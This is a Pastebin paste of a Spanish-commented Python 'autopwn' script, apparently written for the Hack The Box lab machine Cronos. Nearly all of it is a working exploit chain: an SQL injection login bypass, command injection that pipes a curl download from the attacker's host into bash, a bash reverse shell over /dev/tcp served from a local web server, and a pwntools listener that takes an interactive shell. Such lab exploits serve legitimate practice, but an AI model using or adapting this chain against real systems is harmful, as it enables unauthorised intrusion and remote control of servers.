Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python3
- #Para su correcto funcionamiento teneis que agregar al /etc/hosts la IP 10.10.10.13 y el dominio admin.cronos.htb
- #Uso: python3 autopwn_cronos.py <LHOST>
- #Ejemplo : python3 autopwn_cronos 10.10.16.198
- import sys
- import requests
- import time
- import subprocess
- import os
- from pwn import *
- signal.signal(signal.SIGINT, signal.SIG_DFL)
- #Variables
- IP = sys.argv[1] #LHOST => Ip del atacante
- url = "http://admin.cronos.htb/index.php"
- url_exec = "http://admin.cronos.htb/welcome.php"
- lport = 443
- #Funciones
- def def_handler(sig, frame):
- print("\n[-]Saliendo....\n")
- sys.exit(1)
- def obtainShell():
- try:
- s = requests.Session()
- login_data = {
- 'username' : '''admin' or 1=1#''',
- 'password' : 'loquesea'
- }
- r = s.post(url, data=login_data)
- data_exec = {
- 'command' : 'ping -c 1',
- 'host' : '$(curl http://%s|bash)' %IP
- }
- p1 = log.progress("\nCreando archivo index.html con contenido malicioso\n")
- time.sleep(2)
- os.system('echo "#!/bin/bash\n\nbash -i >& /dev/tcp/%s/443 0>&1" > index.html' %IP)
- p1 = log.progress("\nMontando servidor con Python\n")
- subprocess.Popen(["timeout", "10", "python3", "-m", "http.server", "80"])
- p1 = log.progress("\nEnviando Payload...\n")
- time.sleep(2)
- r = s.post(url_exec, data=data_exec)
- except Exception as e:
- print(e)
- if __name__ == '__main__':
- try:
- threading.Thread(target=obtainShell).start()
- except Exception as e:
- print(str(e))
- shell = listen(lport, timeout=10).wait_for_connection()
- if shell.sock is None:
- log.failure("[!]No se ha obtenido conexion")
- sys.exit()
- else:
- log.success("\n ✔️ Se ha obtenido una shell ✔️ \n")
- time.sleep(1)
- log.info("\nAcceso como www-data\n")
- time.sleep(1)
- shell.interactive()
Advertisement
Add Comment
Please, Sign In to add comment